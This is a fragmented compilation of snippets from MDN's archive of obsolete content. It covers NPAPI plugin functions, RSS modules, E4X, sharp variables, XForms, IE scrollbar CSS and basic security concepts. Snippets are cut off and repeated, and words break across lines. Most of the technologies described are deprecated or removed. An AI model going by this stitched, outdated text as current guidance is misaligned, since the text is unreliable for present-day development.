...a blank line) in a memory buffer. to do this, use npn_posturlnotify. for protocols in which the headers must be distinguished from the body, such as http, the buffer or file should contain the headers, followed by a blank line, then the body. if no custom headers are required, simply add a blank line ('\n') to the beginning of the file or buffer. npn_posturl is typically asynchronous: it returns i
mmediately and only later handles the request. for this reason, you may find it useful to call npn_posturlnotify instead; this function notifies your plug-in upon successful or unsuccessful completion of the request. see also npn_geturl, npn_geturlnotify, npn_posturlnotify, npp ...
NPN_PostURLNotify - Archive of obsolete content
syntax #include <npapi.h> nperror npn_posturlnotify(npp instance, const char* url, const char* target, uint32 len, const char* buf, npbool file, void* notifydata); parameters the function has the following parameters: instance current plug-in instance, specified by the plug-in. url url of the post request, specified by the plug-in. ...
...ossible values, see error codes. description npn_posturlnotify functions identically to npn_posturl, with these exceptions: npn_posturlnotify supports specifying headers when posting a memory buffer. npn_posturlnotify calls npp_urlnotify upon successful or unsuccessful completion of the request. for more information, see npn_posturl. npn_posturlnotify is typically asynchronous: it returns i
mmediately and only later handles the request and calls npp_urlnotify. if this function is called with a target parameter value of _self or a parent to _self, this function should return an invalid_param nperror. this is the only way to notify the plug-in once it is deleted. see npn_geturl for information about this parameter. see also npn_geturl, npp_urlnotify, npn_posturl ...
NPN_SetValue - Archive of obsolete content
this call is used to inform the browser of variable information controlled by the plugin. syntax #include <npapi.h> nperror npn_setvalue(npp instance, nppvariable variable, void *value); parameters the function has the following parameters: instance pointer to the plugin instance setting the variable. ...
... plugin operation mode such as windowless mode is npp_new, so the browser knows right away what mode the plugin is designed to operate in. nppvpluginwindowbool (windows and unix) specifies that the plugin operates in windowed mode. the alternative is windowless where no window messages are sent to the plugin as there is no window associated with it. in windowless mode all the browser to plugin co
mmunications related to drawing, mouse, and keyboard input are accomplished via npp_handleevent. to set windowless operation, call npn_setvalue with nppvpluginwindowbool as the variable parameter and false as the value parameter. by default, plugins are windowed. nppvplugintransparentbool (windows and unix) specifies that a plugin is either opaque or transparent. to specify an opaque mode, the plug...
NPP_New - Archive of obsolete content
syntax #include <npapi.h> nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char *argn[], char *argv[], npsaveddata *saved); parameters the function has the following parameters: plugintype pointer to the mime type for new plug-in instance. instance contains instance-specific private data for the plug-in and the browser. this data is stored in instance->pdata. mode display mode of plug-in. values: np_embed: (1) instance was created by an embed tag and shares the browser window with other content. ...
...stance data was saved from a previous instance of the plug-in by the npp_destroy function, it is returned in the saved parameter for the current instance to use. all attributes in the embed tag (standard and private) are passed in npp_new in the argn and argv arrays. the browser ignores any non-standard attributes within an embed tag. this gives developers a chance to use private attributes to co
mmunicate instance-specific options or other information to the plug-in. place private options at the end of the list of standard attributes in the embed tag. see also npp_destroy, np_shutdown, npp, npsaveddata ...
NPP_NewStream - Archive of obsolete content
syntax #include <npapi.h> nperror npp_newstream(npp instance, npmimetype type, npstream* stream, npbool seekable, uint16* stype); parameters the function has the following parameters: instance pointer to current plug-in instance. type pointer to mime type of the stream. stream pointer to new stream. seekable boolean indicating whether the stream is seekable: true: seekable. ...
... process the data progressively as it arrives from the network or file system. np_asfileonly: the browser saves stream data to a file in the local cache. when the stream is complete, the browser calls npp_streamasfile to deliver the path of the file to the plug-in. if the stream comes from a local file, the npp_write and npp_writeready functions are not called. npp_streamasfile is simply called i
mmediately. this mode allows the plug-in full random access to the data using platform-specific file operations. np_asfile: file download. differs from np_asfileonly in that data is delivered to the plug-in, through a series of calls to npp_writeready and npp_write, as it is saved to the file (as in mode np_normal). when the stream is complete, the browser calls npp_streamasfile to deliver the path...
NPP_URLNotify - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api su
mmary notifies the plug-in instance of the completion of a url request. syntax #include <npapi.h> void npp_urlnotify(npp instance, const char* url, npreason reason, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance. url url of the npn_geturlnotify() or npn_posturlnotify() request that has completed. reason reason code for completion of request. values: npres_done (most co
mmon): completed normally. npres_user_break: user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-pri...
...lems. notifydata plug-in-private value for associating a previous npn_geturlnotify() or npn_posturlnotify() request with a subsequent npp_urlnotify() call. description the browser calls npp_urlnotify() after the completion of a npn_geturlnotify() or npn_posturlnotify() request to inform the plug-in that the request was completed and supply a reason code for the completion. the most co
mmon reason code is npres_done, indicating simply that the request completed normally. other possible reason codes are npres_user_break, indicating that the request was halted due to a user action (for example, clicking the stop button), and npres_network_err, indicating that the request could not be completed, perhaps because the url could not be found. the parameter notifydata is the plug-in-priv...
NPP_Write - Archive of obsolete content
(remark: hence the name "npp_write" is misleading - just think of:"data_arrived") syntax #include <npapi.h> int32 npp_write(npp instance, npstream* stream, int32 offset, int32 len, void* buf); parameters the function has the following parameters: instance pointer to the current plug-in instance. stream pointer to the current stream. offset offset in bytes of buf from the beginning of the data in the stream. can be used to check stream progress or by range requests from npn_requestread. len length in bytes of buf; number of bytes accepted. ...
...of a specified byte range that results in a series of calls to npp_writeready and npp_write. the plug-in can use the offset parameter to track the bytes that are written. this gives you different information depending in the type of stream. in a normal-mode stream., the parameter value increases as the each buffer is written. the buf parameter is not persistent, so the plug-in must process data i
mmediately or allocate memory and save a copy of it. in a seekable stream with byte range requests, you can use this parameter to track npn_requestread requests.see also npp_destroystream, npp_newstream, npp_writeready, npstream, npp ...
Writing a plugin for Mac OS X - Archive of obsolete content
plugin inside it. to install the plugin, just copy it into one of these two locations: /library/internet plugins/ ~/library/internet plugins/ from this point, you can simply modify the sample plugin to do whatever you want. notes and tips this section provides some additional information that may be helpful if you're trying to get a plugin building on your own. info.plist the plugin co
mmunicates its mime and filename extension information using the info.plist file, which is packaged in the plugin bundle. the plugin also co
mmunicates its bundle type in that file, under the key cfbundlepackagetype; the type is 'brpl'. if the type isn't an npapi plugin type, the bundle won't load as an npapi plugin. you can always just use 'brpl'. xp_macosx it's important to define the gcc prep...
...type, the bundle won't load as an npapi plugin. you can always just use 'brpl'. xp_macosx it's important to define the gcc preprocessor definition xp_macosx to 1; this is used by the npapi headers to build properly on mac os x. if you don't define it, they won't be interpreted correctly. this is easy to miss in the sample project's build settings. symbol visibility symbol visibility is a co
mmon problem for people trying to get npapi plugins working. some symbols must be visible as standard c symbols so the browser can find them, which means they need to be prefixed by an underscore, and must not have the c++ obfuscation that is generated by the c++ compiler. the three symbols that must always be visible are: np_initialize() np_getentrypoints() np_shutdown() the sample plugin ...
Syndicating content with RSS - Archive of obsolete content
dvertise the rss feed in a more direct way, the html <a> element can be used. this mimics the <link> element discussed above. linking from the the html web page where the data in an rss feed is also contained makes the rss feed available for use: <a rel="alternate" type="application/rss+xml" href="http://example.com/feed">...</a> feed icons rss (and other) feeds use a special icon. ...
... the http protocol, one of the core technologies behind the web, provides a way of prioritizing the content type that an http client prefers to receive. this technique takes advantage by having the client prefer rss (over html or other formats). ...
Atomic RSS - Archive of obsolete content
atomic rss uses atom as an rss module. it brings in atom elements into rss, adding the advantages of atom to rss while maintaining backwards compatibility. ...
... atomic rss tim bray talks about using atom 1.0 as a micro format and extension module for rss 2.0; keeping rss 2.0 as your sydication format but bringing in and using selected atom 1.0 elements. ...
Content - Archive of obsolete content
the rss content module provides facilities to include content for an <item>. but doing this in more efficient ways. ...
... rss content module is popular - including html contents charles iliya krempeaux talks about the rss content module, why it is popular among some, and how it is used to include html contents. ...
Element - Archive of obsolete content
rss slash module elements note: in the list of elements below the slash xml namespace prefix is used (since it is a popular choice). however, use of slash as the xml namespace prefix is not necessary. you are free to to choose your own prefix for this. ...
... rss slash module elements note: in the list of elements below the slash xml namespace prefix is used (since it is a popular choice). however, use of slash as the xml namespace prefix is not necessary. you are free to to choose your own prefix for this. ...
Well-Formed Web - Archive of obsolete content
getting started a guided tutorial that will help you get started with the well-formed web rss module. the well-formed web rss module provides facilities for <item> level co
mmenting: for linking to co
mments contained in an external rss feed, and for posting new co
mments. documentation selected articles why well-formed web rss module is popular - syndicating your co
mments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your co
mments (2005-08-22). ...
...articles why well-formed web rss module is popular - syndicating your co
mments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your co
mments (2005-08-22). ...
Module - Archive of obsolete content
rss module list rss modules are microformats injected into an rss document through the use of xml namespaces. they are ways of extending rss. below is a list of the popular rss modules. ...
... extending rss. below is a list of the popular rss modules. ...
0.90 - Archive of obsolete content
(see rss - what is in a name for more info on rss's naming history.) note: rss 0.90 has been deprecated. ...
...(see rss - what is in a name for more info on rss's naming history.) note: rss 0.90 has been deprecated. ...
RSS - Archive of obsolete content
at used for syndication. rss has a sordid history and a multitude of different incompatible rss versions. (some being based on rdf, but most only being based on xml.) nonetheless, rss is an extremely popular format that is used for syndicating news, blog posts, ipradio, and iptv, with an amazing amount of momentum. documentation why rss slash is popular - counting your co
mments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your co
mments. why well-formed web rss module is popular - syndicating your co
mments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your co
mments. atomic rss tim ...
...r co
mments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your co
mments. atomic rss tim bray talks about using atom 1.0 as a micro format and extension module for rss 2.0; keeping rss 2.0 as your sydication format but bringing in and using selected atom 1.0 elements. view all... co
mmunity view mozilla xml forums... mailing list newsgroup rss feed related topics rdf, xml ...
Confidentiality, Integrity, and Availability - Archive of obsolete content
to sensitive data. imagine your bank records. you should be able to access them, of course, and employees at the bank who are helping you with a transaction should be able to access them, but no one else should. a failure to maintain confidentiality means that someone who shouldn't have access has managed to get it, through intentional behavior or by accident. such a failure of confidentiality, co
mmonly known as a breach, typically cannot be remedied. once the secret has been revealed, there's no way to un-reveal it. if your bank records are posted on a public website, everyone can know your bank account number, balance, etc., and that information can't be erased from their minds, papers, computers, and other places. nearly all the major security incidents reported in the media today involve...
...remedied. once the secret has been revealed, there's no way to un-reveal it. if your bank records are posted on a public website, everyone can know your bank account number, balance, etc., and that information can't be erased from their minds, papers, computers, and other places. nearly all the major security incidents reported in the media today involve major losses of confidentiality. so, in su
mmary, a breach of confidentiality means that someone gains access to information who shouldn't have access to it. integrity integrity refers to ensuring the authenticity of information—that information is not altered, and that the source of the information is genuine. imagine that you have a website and you sell products on that site. now imagine that an attacker can shop on your web site and m...
NSPR Release Engineering Guide - Archive of obsolete content
with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the co
mmand: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing anomalies tag the tree with nsprpub_release_x_y[_z] release candidate checkout a whole new tree using tag (inclu...
...copy /share/builds/components/nspr20/vx.y.
Threats - Archive of obsolete content
(e.g., attacker who wants to access information on a server) or unintentional actors (e.g., administrator who forgets to disable user accounts of a former employee.) threats can be local, such as a disgruntled employee, or remote, such as an attacker in another geographical area. a threat source is the cause of a threat, such as a hostile cyber or physical attack, a human error of omission or co
mmission, a failure of organization-controlled hardware or software, or other failure beyond the control of the organization. a threat event is an event or situation initiated or caused by a threat source that has the potential for causing adverse impact. many threats against data and resources are possible because of mistakes—either bugs in operating system and applications that create exploitab...
...away your private information. ddos network attack. the volume and strength of ddos attacks are growing as hackers try to bring organizations offline or steal their data by flooding websites and networks with spurious traffic. original document information author(s): ella deon lackey last updated date: 2012 copyright information: © 2012 red hat, inc. ...
Security - Archive of obsolete content
rmation so it is unintelligible to anyone but the intended recipient. decryption is the process of transforming encrypted information so that it is intelligible again.introduction to public-key cryptographypublic-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and secure sockets layer (ssl) co
mmunications. this document introduces the basic concepts of public-key cryptography. for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." introduction to sslthis document introduces the secure sockets layer (ssl) protocol. ssl has been universall...
...ey cryptography. for an overview of ssl, see "introduction to ssl." for an overview of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." introduction to sslthis document introduces the secure sockets layer (ssl) protocol. ssl has been universally accepted on the world wide web for authenticated and encrypted co
mmunication between clients and servers.nspr release engineering guidethis paper is for engineers performing formal release for the netscape portable runtime (nspr) across all platforms.ssl and tlsthe secure sockets layer (ssl) and transport layer security (tls) protocols are universally accepted standards for authenticated and encrypted co
mmunication between clients and servers. both client and ser...
contents.rdf - Archive of obsolete content
state that we work only with major version 1 of this package. --> <rdf:description chrome:skinversion="1.5" abo...
...theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information. state that we work only with major version 1 of this package. ...
Using Firebug and jQuery (Screencast) - Archive of obsolete content
note: this screencast is originally from: http://ejohn.org/blog/hacking-digg-w...ug-and-jquery/ this is an adaptation of a presentation that i gave while at mashup camp boston. we're going to take an introductory look at the firebug firefox extension and the jquery javascript library - combining the two to build a reusable bookmarklet that can manipulate digg posts and co
mments. click the video link to begin (14:39 minutes long, 59mb): http://developer.mozilla.org/presentations/screencasts/jresig-digg-firebug-jquery.mp4 download: right-click this link and select save as... in order to download a copy of your own. (59mb) bookmarklets: in the presentation, i refer to a bookmarklet that you can use to introduce jquery into a web page. drag these bookmarklets found on this page...
...y analyze and inspect a page that firebug and jquery affords you, using the results to build a greasemonkey script, instead of a simple bookmarklet. i only really intended this to be a quick introduction to the subject, so please feel free to explore it more! more tips: here are some more jquery selectors that you can use on a digg post: $("li.c-bury > div").remove(); - remove all buried co
mments, but none of the direct replies. $("div.c-body").show(); - show all co
mments, even ones that've been buried. ...
Using the W3C DOM - Archive of obsolete content
r creating attributes, new content, for traversing the content tree and for handling events dispatched as the user interacts with the document itself. manipulating document style and content changing an element's style using the dom the following table describes standards-based methods for accessing and updating style rules defined for various html elements in a web page. see the w3c dom 2 reco
mmendation, css2 extended interface. dom level 2 provides for the assignment of new values to the css properties of an element using the elemref.style object reference. you can get a reference to the element to which that style corresponds by using the dom's getelementbyid or one of the other methods described in the dom access section above. deprecated coding practices appropriate dom...
...therefore, if you wish to read and write these properties from javascript through the dom2, use one of these two approaches: place all of the element's static css declarati...
Using workers in extensions - Archive of obsolete content
ss it back to the main thread. this provides a way for the main thread to specifically request that the worker update the stock information at once. the refreshinformation() method is fairly similar to the previous versions, with two notable exceptions: if the ticker symbol has not been set yet, an exception is thrown (lines 4-6). when the result is received from xmlhttprequest, instead of i
mmediately updating the displayed information in the status bar, a message is sent to the main thread using the worker's postmessage() method. this is because only the main thread is allowed to access the user interface. the main thread the changes here are also relatively minor, but crucial. the startup() method this method is called when the extension is first loaded, and needs to be updated ...
...his results in the ticker's onmessage handler being called. the watchstock() and refreshinformation() methods these two methods are very simple. watchstock() is updated to pass the symbol to the ticker thread, and refreshinformation(), whose main functionality is now in the worker, is updated to simply pass an empty message to the worker, which tells the worker to refresh the stock information i
mmediately. watchstock: function(newsymbol) { this.tickersymbol = newsymbol.touppercase(); this.prefs.setcharpref("symbol", newsymbol); this.worker.postmessage(this.tickersymbol); }, refreshinformation: function() { // empty message just means 'refresh'. this.worker.postmessage(""); }, the onworkermessage() method this method is called when the worker posts a mes...
-ms-scrollbar-arrow-color - Archive of obsolete content
</div> </body> the following image shows the result: specifications not part of any specification. ...
...olor: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> <div class="bluescrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> <div class="greenscrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> </body> the following image shows the result: specifications not part of any specification. ...
-ms-scrollbar-base-color - Archive of obsolete content
</div> </body> the following image shows the result. note that scrollbar-base-color sets the scroll bar face color and highlight color ...
... .bisquescroll { scrollbar-base-color: bisque; scrollbar-arrow-color: red; border-color: red; } <body> <div class="aquascroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> <div class="bisquescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> </body> the following image shows the result. note that scrollbar-base-color sets the scroll bar face color and highlight color to different shades of the same base color. specifications not part of any specification. ...
-ms-scrollbar-face-color - Archive of obsolete content
</div> </body> this image shows the result: specifications not part of any specification. ...
...olor: blue; } .greenscrollbox { scrollbar-face-color: green; scrollbar-arrow-color: green; } <body> <div class="bluescrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> <div class="greenscrollbox"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> </body> this image shows the result: specifications not part of any specification. ...
-ms-scrollbar-highlight-color - Archive of obsolete content
</div> </body> this image shows the result: specifications not part of any specification. ...
...-color: bisque; -ms-scrollbar-face-color: red; -ms-scrollbar-arrow-color: red; border-color: red; } <body> <div class="bluescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> <div class="redscroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> </body> this image shows the result: specifications not part of any specification. ...
-ms-scrollbar-track-color - Archive of obsolete content
</div> </body> the following image shows the result. ...
...color: bisque; -ms-scrollbar-face-color: red; -ms-scrollbar-arrow-color: red; border-color: red; } <body> <div class="bluescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> <div class="redscroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonu
mmy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> </body> the following image shows the result. ...
Processing XML with E4X - Archive of obsolete content
ipt 1.6, e4x introduces a native xml object to the javascript language, and adds syntax for embedding literal xml documents in javascript code. a full definition of e4x can be found in the ecma-357 specification. this chapter provides a practical overview of the language; it is not a complete reference. compatibility issues prior to widespread browser support for the <script> element, it was co
mmon for javascript embedded in a page to be surrounded by html co
mment tags to prevent <script> unaware browsers from displaying javascript code to the user. this practice is no longer necessary, but remains in some legacy code. for backwards compatibility, e4x defaults to ignoring co
mments and cdata sections. you can add an e4x=1 argument to your <script> tag to disable this restriction: <script ...
...s>; in both cases, the resulting object will be an e4x xml object, which provides convenient syntax for both accessing and updating the encapsulated data. while the xml object looks and behaves in a similar way to a regular javascript object, the two are not the same thing. e4x introduces new syntax that only works with e4x xml objects. the syntax is designed to be familiar to javascript progra
mmers, but e4x does not provide a direct mapping from xml to native javascript objects; just the illusion of one. it is possible to interpolate variables into an xml literal to create an element name (or to create content). var h = 'html'; var text = "here's some text"; var doc = <{h}><body>{text}</body></{h}>; alert(doc.toxmlstring()); // gives <html> <body>here's some text</body> </html> wor...
E4X - Archive of obsolete content
ll work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning: e4x is obsolete. it has been disabled by default for webpages (content) in firefox 17, disabled by default for chrome in firefox 20, and has been removed in firefox 21. use domparser/domserializer or a non-native jxon algorithm instead. ecmascript for xml (e4x) is a progra
mming language extension that adds native xml support to javascript. it does this by providing access to the xml document in a form that feels natural for ecmascript progra
mmers. the goal is to provide an alternative, simpler syntax for accessing xml documents than via dom interfaces. a valid alternative to e4x is a non-native jxon algorithm. e4x is standardized by ecma international in ecma-357 st...
...e written in java). note: in gecko 1.8 based browsers such as firefox 1.5, e4x is already partially enabled for web page authors. to fully enable e4x, the <script> element needs to have the mime type "text/javascript;e4x=1" (i.e., have an attribute of the form type="text/javascript;e4x=1"). the difference between the two modes is that without the "e4x=1" mime type, any statement-level xml/html co
mment literals (<!--...-->) are ignored for backwards compatibility with the co
mment hiding trick, and cdata sections (<![cdata[...]]>) are not parsed as cdata literals (which leads to a js syntax error in html since html's <script> element produces an implicit cdata section, and therefore cannot contain explicit cdata sections). someone verify the above known bugs and limitations it is not cu...
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
new versions of ecmascript specifications are released yearly. so far, es2016, es2017, and es2018 have been released. this year, the es2019 specification will be released and es2020 is the current ecmascript draft specification. you can see the latest proposals on the tc39/ecma262 github repository. a channel for feedback on ecmascript standards is es-discuss. ...
...ion operator (firefox 52) ecmascript 2017 object.values() (firefox 47) object.entries() (firefox 47) string.prototype.padstart() (firefox 48) string.prototype.padend() (firefox 48) object.getownpropertydescriptors() (firefox 50) async functions async function (firefox 52) async function expression (firefox 52) asyncfunction (firefox 52) await (firefox 52) trailing co
mmas in function parameter lists (firefox 52) ecmascript 2018 spread in object literals and rest parameters (firefox 55) for await...of (firefox 57) global_objects/sharedarraybuffer (firefox 57, with flags) global_objects/promise/finally (firefox 58) global_objects/regexp/dotall (not yet implemented; in other browsers) regexp lookbehind assertions (not yet implemented; in other browsers) ...
Debug.writeln - Archive of obsolete content
the debug.writeln function sends strings to the script debugger, followed by a newline character. syntax debug.writeln([str1 [, str2 [, ... [, strn]]]]) parameters str1, str2, ... , strn optional strings to send to the script debugger. remarks the debug.writeln function sends strings, followed by a newline character, to the i
mmediate window of the microsoft script debugger at run time. ...
... script debugger at run time. if the script is not being debugged, the debug.writeln function has no effect. the debug.writeln function is almost identical to the debug.write function. the only difference is that the debug.write function does not send a newline character after sending the strings. example this example uses the debug.writeln function to display the value of the variable in the i
mmediate window of the microsoft script debugger. note: to run this example, you must have a script debugger installed and the script must run in debug mode. internet explorer 8 includes the javascript debugger. if you are using an earlier version of internet explorer, see how to: enable and start script debugging from internet explorer. var counter = 42; debug.writeln("the value of counter is ...
New in JavaScript 1.8.5 - Archive of obsolete content
efined syntax has not been changed. these were all pretty esoteric and rarely used; if this affects you, see this blog post for details. new objects object description old proxy api offers support for creating object and function proxies that enable meta-progra
mming in javascript. changed functionality in javascript 1.8.5 iso 8601 support in date: the date object's parse() method now supports simple iso 8601 format date strings. global objects made read only: the nan, infinity, and undefined global objects have been made read only, per the ecmascript 5 specification. ...
... simple iso 8601 format date strings. global objects made read only: the nan, infinity, and undefined global objects have been made read only, per the ecmascript 5 specification. obj.__parent__ and obj.__count__ become obsolete. some information about why: spidermonkey change du jour: the special __parent__ property has been removed bug 551529 & bug 552560. trailing co
mmas no longer accepted in json.parse(). ...
JSObject - Archive of obsolete content
java.lang.object | +----netscape.javascript.jsobject description javascript objects are wrapped in an instance of the class netscape.javascript.jsobject and passed to java. jsobject allows java to manipulate javascript objects. when a javascript object is sent to java, the runtime engine creates a java wrapper of type jsobject; when a jsobject is sent from java to javascript, the runtime engine unwraps it to its original javascript object type. the jsobject class provides a way to invoke javascript methods and examine javascript properties. any javascript data brought into java is converted to java data types. ...
...nal javascript object type. the jsobject class provides a way to invoke javascript methods and examine javascript properties. any javascript data brought into java is converted to java data types. when the jsobject is passed back to javascript, the object is unwrapped and can be used by javascript code. see the core javascript 1.5 guide for more information about data type conversions. method su
mmary the netscape.javascript.jsobject class has the following methods: call calls a javascript method. equals determines if two jsobject objects refer to the same instance. (what's the problem with == ?) eval evaluates a javascript expression. getmember retrieves the value of a property of a javascript object. getslot retrieves the value of an array element of a javasc...
Sharp variables in JavaScript - Archive of obsolete content
izers that allows serialization of objects that have cyclic references or multiple references to the same object. warning: sharp variables was a non-standard syntax for creating or serializing cyclic data graphs that used to be supported only by mozilla's spidermonkey js engine. this feature has been removed in bug 566700, firefox 12. form sharp variables have the form of a sharp sign (#) i
mmediately followed by one or more digits. the number represented by the digits serves as the variable's unique identifier, but leading 0s are ignored. scope sharp variables are only in scope in the statement in which they are defined. usage to create a sharp variable, simply assign an object to it in a line of code using an equal sign. you cannot assign primitives (including strings) to sharp v...
...arp variables are only in scope in the statement in which they are defined. usage to create a sharp variable, simply assign an object to it in a line of code using an equal sign. you cannot assign primitives (including strings) to sharp variables. make sure you don't put in any spaces before the equal sign though. #1 = {}; // this doesn't do much since the sharp variable is out of scope i
mmediately after a = #2 = {}; // slightly more useful since we retain a reference to the new object to reference the sharp variable, simply append another sharp (#) to the end of the variable name. this acts as a reference to initial variable. you can use this to create objects in a single line of code that would otherwise take multiple lines of code. examples multiple references var a = { foo...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
take a cruise through one aspect of the redesign with master styler eric meyer. it's a well-known maxim that if you stick around long enough, you get a chance to see the tides of history turn. if you're lucky, you get to ride the surf that second time around without being knocked over by the waves. i was privileged enough to have that chance recently: i was asked to redesign the amazing netscape fish cam page for a new millennium. to put that in perspective, i remember when the fish cam page first appeared and word of it circulated around the internet. ...
...ren't already. with just the few elements i had available in this example, there were any number of possibilities for design effects, and i think you'll find the same to be true for your own designs if you just give this sort of approach a try. - fin. - related links the amazing netscape fish cam page original document information author(s): eric meyer, standards evangelist, netscape co
mmunications last updated date: published 25 apr 2003 copyright information: copyright © 2001-2003 netscape. all rights reserved. note: this reprinted article was originally part of the devedge site. ...
forEach - Archive of obsolete content
ok, in the end i didn't remove the old code as it isn't hosted anywhere (i thought the github reference contained the code) but inserted a faster implementation above while retaining the rest of the document. feel free to alter the text as english is not my mother tongue and i'm more concerned with the code quality that the english gra
mmar ;-s dotnetcarpenter 30 june 2012 <hr> the compatibility section goes to extraordinary lengths in providing a foreach implementation. a much more sane approach would be to count on the implementation to throw errors if wrong arguments are provided and implement this in fewer lines of code. i've removed the lengthy example, while still linking to it and provided a much simpler and leaner implementation. dotnetcarpenter 30 june 2012 <hr> i have releas...
...te access restriction, but i will be watching changes closely. jswisher 01 october 2011 <hr> there is some mistype in array.prototype.foreach: kvalue = o[ pk ]; should be kvalue = o[ k ]; <hr> this page has been the target of a revert war, and so write access to it has been restricted. if you wish to make changes, and especially if you wish to revert another user's changes, please either add a co
mment here, or post to dev-mdc@lists.mozila.org, explaining the change you desire. jswisher 15 aug 2011 <hr> is this a from _core_ of javascript 1.5? if so, is js 1.5 gecko only? those extra features like foreach are gecko only, and it should be mentioned that they should *_not_* be used on web pages. --gandalf 07:18, 31 may 2005 (pdt) is there a way to make foreach make use of break? [1].foreach(f...
Troubleshooting XForms Forms - Archive of obsolete content
always do this first make sure that you are running the latest release of the extension. always run your form through the xforms validator. it checks your form for a lot of errors. it is not perfect, but it can spot a lot of errors. always check the javascript console (tools, javascript console) for errors. if you get errors there, do not expect your form to work. troubleshooting check the file type is the page parsed as an xhtml document? right-click on a blank spot on the page, and select view page info. the type field should say application/xhtml+xml. ...
...st:8080/.* use the xforms buddy to view instance data the xforms buddy extension allows you to dynamically view model instance data while the xforms is running in the firefox browser. the home page for xfroms buddy is located at: xforms buddy using http proxy you can use the charles firefox extension to view your http session data including http header data. if all else fails ask the co
mmunity ask on one of the mailing lists or on irc. see the co
mmunity section on the xforms main page. check for known bugs / missing features you can check the known bugs/missing features we have in the release notes of the extension. you can also see the current list of open xforms bugs, or the list of fixed bugs that have not made it to the release versions yet. ...
Implementation Status - Archive of obsolete content
d with their current status: supported, partial support, in progress, and not currently supported. we have listed the most relevant bugs here, but check out the bugzilla xforms buglist for the complete list. 3. ...
... event() supported 7.12 extension functions unsupported not a compliance requirement for an xforms processor 8. ...
XForms Repeat Element - Archive of obsolete content
introduction a repeat element contains markup and is itself bound to a nodeset in an instance document (see the spec). for each node in the nodeset, the contents of the repeat element will be displayed in the form. that node will serve as the context node for any relative xpath expressions in that set of repeated markup. attributes ui co
mmon appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control. node set binding special startindex - optional 1-based initial value of the repeat index. the default value is 1. number - isn't supported type restrictions the repeat element can be bound to a nodeset. representations the repeat element doesn't have a visual representation. however, it can infl...
...ke xhtml, it is often necessary to create repeating structures within constructs such as html:table. thus, one might wish to use element repeat within a table to create the rows of a table, where each row of the table binds to a distinct member of a homogeneous collection. since html:table doesn't (and probably never will) allow xforms:repeat elements as children, another syntax is needed. to acco
mmodate this, xforms 1.0 defines an alternative syntax that is functionally equivalent to the repeat element, using the following attributes: repeat-model repeat-bind repeat-nodeset repeat-startindex repeat-number additionally, when using xforms action setindex, its repeat attribute (which contains an idref) can point to any element carrying these repeat attributes. similarly, the index function c...
Window: devicelight event - Archive of obsolete content
min read only double (float) the minimum value in the range the sensor detects (if available, 0 otherwise). ...
... max read only double (float) the maximum value in the range the sensor detects (if available, 0 otherwise). ...
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
find out why this happens and how to fix it in documents that have to remain in quirks mode. in version 4 browsers such as netscape navigator 4.x and internet explorer 4.x, tables generally "broke" the inheritance of font styling. if the author had set a font size on the body element, for example, the font size of text within a table would match the user's default, not the body style. this led to a number of workarounds which were designed to cater to these bugs, and also to gecko-based browsers emulating the behavior in some cases. fortunately, the behavior can be overcome in all cases with a single css2 rule. ...
... property. /* rule to fix quirks-mode inheritance behavior */ table, caption { font-size: inherit; font-weight: inherit; font-style: inherit; font-variant: inherit; } this rule will override the rule in quirk.css and thus allow the author to have reliable inheritance of font styles into tables when in "quirks" mode. it is also fully valid css2 and so will validate without incident. reco
